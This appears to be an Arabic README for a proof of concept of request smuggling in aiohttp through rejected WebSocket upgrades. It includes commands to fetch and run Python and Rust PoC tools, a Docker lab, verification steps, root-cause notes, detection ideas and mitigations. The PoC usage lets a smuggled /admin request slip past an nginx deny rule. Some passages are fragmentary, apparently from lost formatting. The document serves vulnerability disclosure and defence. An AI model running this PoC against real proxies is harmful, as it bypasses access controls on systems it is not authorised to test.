
يعيد إنتاج تهريب الطلبات (Request Smuggling) من نوع CWE-444 في aiohttp عبر ترقيات WebSocket المرفوضة، مع حمولات Python/Rust ومختبر Docker يوضح تجاوز التحكم في الوصول عبر البروكسي.
تهريب الطلبات عبر ترقية WebSocket مرفوضة في aiohttp < 3.14.2.
عندما يمرر خادم وكيل عكسي ترويسات Connection: Upgrade + Upgrade: websocket،
يتجاهل محلل aiohttp الضعيف نص الطلب ويفسر
البايتات الزائدة كطلب مبطن (pipelined) — متجاوزًا ضوابط الوصول الطرفية.
تم الإصلاح في aiohttp 3.14.2 (commit 6ae358f).
المؤلف: João Victor Botelho (JV Botelho) — https://glitchedcat.com
انسخ والصق نسخة بايثون (بدون أي تبعيات، المكتبة القياسية فقط):
curl -O https://raw.githubusercontent.com/JVBotelho/cve-2026-69243-poc-aiohttp-smuggling/main/poc.py
python3 poc.py <proxy-host> <proxy-port> <backend-host>
أو اطبع نسخة Rust (بدون تبعيات، std فقط):
git clone https://github.com/JVBotelho/cve-2026-69243-poc-aiohttp-smuggling
cd cve-2026-69243-poc-aiohttp-smuggling/poc
cargo build --release
./target/release/cve-2026-69243-poc <proxy-host> <proxy-port> <backend-host>
سيتم نشر الملفات الثنائية المجمعة مسبقًا إلى Releases عبر سير عمل الإصدارات.
كلا النسختين تنتجان حمولات مطابقة بايتًا ببايت (يضمنها اختبار تكافؤ في CI). إذا كان المختبر يعمل:
python3 poc.py nginx-upgrade 80 backend-vuln
الإخراج المتوقع: استجابة HTTP واحدة (WebSocket upgrade rejected). ثم تحقق:
# Backend processed 2 requests (/ws + smuggled /admin):
docker logs backend-vuln | grep -c '"path".*"/admin"'
# Nginx only logged 1 request (the /ws):
docker exec nginx-upgrade cat /logs/nginx-upgrade.access.log | grep -c '/admin'
أن عدد طلبات الخادم الخلفي > 0 وعدد Nginx = 0 يعني تأكيد انقسام CWE-444. يرسل هذا الـ PoC مقطع TCP واحدًا — حيث يكون النص هو الطلب المُهرب؛ تعامله Nginx كنص للطلب بينما تعامله aiohttp كطلب ثانٍ.
_http_parser.pyx في aiohttp 3.14.1 القيمة 2 (تخطي النص)
عند اكتشاف الترقية قبل استهلاك النص (سطر ~863). تبقى بايتات النص
في _message_tail وتُعاد إلى المحلل في web_protocol.py
finish_response (سطر ~771).location /admin { deny all; }،
يظل الطلب المُهرب /admin يصل إلى الخادم الخلفي لأن قرارات توجيه Nginx
تُتخذ بناءً على الطلب الخارجي فقط.await request.read() صفر بايت في
طلبات الترقية في 3.14.1 — يُحجب النص تحت طبقة المعالج. طبّق التصحيح،
أو أزل ترويسات الترقية عند الوكيل على المسارات التي يجب ألا تبدّل البروتوكولات.git clone https://github.com/JVBotelho/cve-2026-69243-poc-aiohttp-smuggling
cd cve-2026-69243-poc-aiohttp-smuggling
docker compose up -d
# Run the PoC:
docker compose run --rm --entrypoint /app/poc attacker nginx-upgrade 80 backend-vuln
الخدمات:
نتائج المراحل 1-3 كاملة في findings/.
Connection: close إلى الخادم الخلفي أو تزيل ترويسات Connection/Upgrade
ليست قابلة للاستغلال. الإعداد الذي يكشف الانقسام هو
مقتطف map القياسي لـ WebSocket من توثيق Nginx الخاص بالوكالة./ws الخارجية فقط. دليل التهريب موجود في سجلات
الخادم الخلفي وليس في استجابة المهاجم — بدائية عمياء أحادية الاتجاه
في هذا الطوبولوجيا. لم يتم اختبار طوبولوجيات وكيل أخرى.Transfer-Encoding: chunked — يصطدم سطر حجم القطعة الخام
(مثل 3e) بالمحلل كطريقة غير صالحة وينقطع الاتصال.
عبر Nginx يعمل، لكن عبر التطبيع: يزيل Nginx التقطيع من النص
ويعيد توجيه Content-Length مُصنّع، لذا يُستغل الخادم الخلفي
عبر مسار CL نفسه. تُظهر علامة --chunked مسار الوكيل.WebSocketResponse. معظم التطبيقات التي لا تستخدم
WebSockets على مسار معين سترفض افتراضيًا (يرجع الإطار 404
أو ينتقل إلى المعالج التالي).poc/ # Rust cargo project
├── Cargo.toml
├── src/main.rs # CLI binary
├── src/lib.rs # Library + unit tests
├── tests/parity.rs # Cross-language payload parity test
└── fuzz/ # cargo-fuzz targets
poc.py # Python PoC (copy-paste from blog)
attacker/ backend/ frontend/ # Docker lab services
docker-compose.yml # 7-service lab
findings/ # Research notes (Phase 1-3)
.github/workflows/
├── ci.yml # Build, test, clippy, parity, integration, fuzz
└── release.yml # Cross-compile + GitHub Release
راجع findings/fase3-deteccao.md للتحليل الكامل. ملخص، مع
التحذيرات المهمة في بيئة الإنتاج:
X-Forwarded-For/بروتوكول الوكيل، أو تسجيل
معرّف اتصال المنبع + تسلسل الطلبات لكل اتصال. عنوان IP للعميل +
النافذة الزمنية وحدها ضعيفة (NAT، keep-alive، التزامن).content_length مقابل البايتات من
request.read()): تعمل على 3.14.1 وتصمت على 3.14.2. تكشف ولا تخفف.
حدد نطاقها (مسارات الترقية المحتملة، النصوص الصغيرة، الحالات غير 101) —
النسخة الساذجة تخزن كل نص في الذاكرة.reqlen عند الحافة أعلى من خط الأساس للترويسات على نقاط نهاية WebSocket —
ثقة منخفضة وحدها (الكوكيز/JWT/ترويسات التتبع صاخبة)، لكنها إشارة الحافة
الوحيدة عندما لا يرسل العميل Content-Length (دخول chunked).| الحاوية | الغرض |
|---|
backend-vuln | aiohttp 3.14.1 (قابلة للاستغلال)، READ_BODY=false |
backend-vuln-read | aiohttp 3.14.1، READ_BODY=true (يُثبت أن المعالج لا يمكنه المساعدة) |
backend-patched | aiohttp 3.14.2 (مُصلحة) |
nginx-upgrade | يمرر ترويسات الترقية (deny all على /admin) |
nginx-default | بدون تمرير الترقية (يحيد الثغرة) |
nginx-strip | إزالة Connection "" (يحيد الثغرة) |
attacker | ملفات Rust الثنائية: reproduce، fase2، poc |